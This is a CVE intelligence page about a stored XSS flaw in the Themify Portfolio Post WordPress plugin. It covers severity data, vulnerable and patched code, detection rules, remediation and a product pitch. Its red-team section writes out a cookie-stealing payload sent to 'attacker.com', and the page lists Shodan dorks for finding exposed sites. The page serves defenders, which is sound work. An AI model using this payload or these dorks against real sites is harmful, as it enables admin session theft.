☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Themifyme logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-67533

CVE-2025-67533 Cross-Site Scripting in Themifyme
📅 PUBLISHED: 2025-12-09 16:18 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-67533 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themify Portfolio Post WordPress plugin, developed by ThemifyMe. The flaw exists in versions up to and including 1.3.0, where the plugin fails to properly neutralize user-supplied input during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious scripts into portfolio posts. When an administrator or other user views the compromised post, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx server configurations. The vendor has not released a patch, and no public exploit code or proof-of-concept is currently available. The EPSS score is 0.0%, indicating low exploitation activity at this time, but the risk remains significant for unpatched sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Themify Portfolio Post is distributed via the official WordPress plugin repository and is also available as a premium add-on. Since the plugin is not an NPM, PyPI, Go, or Ruby package, supply chain risks are limited to the WordPress plugin ecosystem. However, users should verify the integrity of downloaded plugin files and monitor for unauthorized modifications.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 7.1 (High)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor or higher)
  • User Interaction: Required (Admin viewing the post)
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

The vulnerability is classified as High severity due to the low attack complexity and the potential for stored XSS, which can lead to persistent compromise of admin sessions.

Deep Dive & Mechanics

The vulnerability resides in the themify-portfolio-post plugin, specifically in the way it handles user input for portfolio post titles, descriptions, or custom fields. The plugin does not sanitize or escape input before storing it in the database and later rendering it on the page. An attacker with contributor-level access can craft a portfolio post containing malicious JavaScript. When an administrator views the post in the WordPress admin panel or on the front end, the script executes.

Root Cause: The plugin uses echo or the_content filters without applying WordPress escaping functions like esc_html() or wp_kses_post() on user-supplied data.

Attack Flow:

  1. Attacker logs in as a contributor.
  2. Creates a new portfolio post with a payload in the title or custom field: <script>alert('XSS')</script>.
  3. The payload is stored in the database without sanitization.
  4. Admin or other user views the portfolio post.
  5. The script executes in the victim's browser.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's template files or shortcode handlers. A typical vulnerable pattern in WordPress plugins is:

// Vulnerable code (themify-portfolio-post.php)
echo '<div class="portfolio-title">' . $post_title . '</div>';

A patched version would use:

// Patched code
echo '<div class="portfolio-title">' . esc_html( $post_title ) . '</div>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with Themify Portfolio Post <= 1.3.0 installed and activated.
  • Attacker account with Contributor role or higher.

Steps:

  1. Log in to WordPress as a contributor.
  2. Navigate to Portfolio Posts > Add New.
  3. In the title field, enter: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
  4. Publish the post.
  5. Wait for an admin to view the post (e.g., via email notification or direct link).

Expected Result: The admin's browser sends their cookies to the attacker's server.

Blue Team

Detection:

  • Monitor for portfolio posts containing script tags in titles or custom fields.
  • Use WAF rules to block common XSS payloads in POST requests to wp-admin/post-new.php or wp-admin/post.php.
  • Review server logs for requests to suspicious external domains from the WordPress admin interface.

Mitigation:

  • Disable the plugin until a patch is available.
  • Implement a Web Application Firewall (WAF) with XSS rules.
  • Restrict contributor roles from creating portfolio posts if not needed.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • File: Modified plugin files (e.g., themify-portfolio-post.php) containing injected code.
  • Database: Portfolio post titles or meta fields containing <script> tags or obfuscated JavaScript.
  • Logs: wp-content/debug.log entries showing PHP warnings related to unescaped output.

Detection Engineering

YARA Rule

rule Detect_Themify_Portfolio_Post_XSS {
    meta:
        description = "Detects stored XSS payloads in Themify Portfolio Post plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67533"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_path = "themify-portfolio-post"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in Themify Portfolio Post
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in portfolio post titles or content
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '*/wp-admin/post-new.php*'
        http.body: '*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-67533 Stored XSS in Themify Portfolio Post"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post-new.php"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Restrict user roles – Remove contributor access for untrusted users.
  3. Apply virtual patching using a WAF to block XSS payloads in portfolio post submissions.

Long-term Fix:

  • The vendor must release a patched version that properly escapes output using esc_html(), esc_attr(), or wp_kses_post().
  • Users should monitor the WordPress plugin repository for updates.

Workaround:

  • If the plugin cannot be disabled, manually edit the plugin files to add escaping functions. For example, in themify-portfolio-post.php, replace:
    echo $post_title;
    
    with:
    echo esc_html( $post_title );
    

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Themify Portfolio Post"
http.html:"wp-content/plugins/themify-portfolio-post"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-67533/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.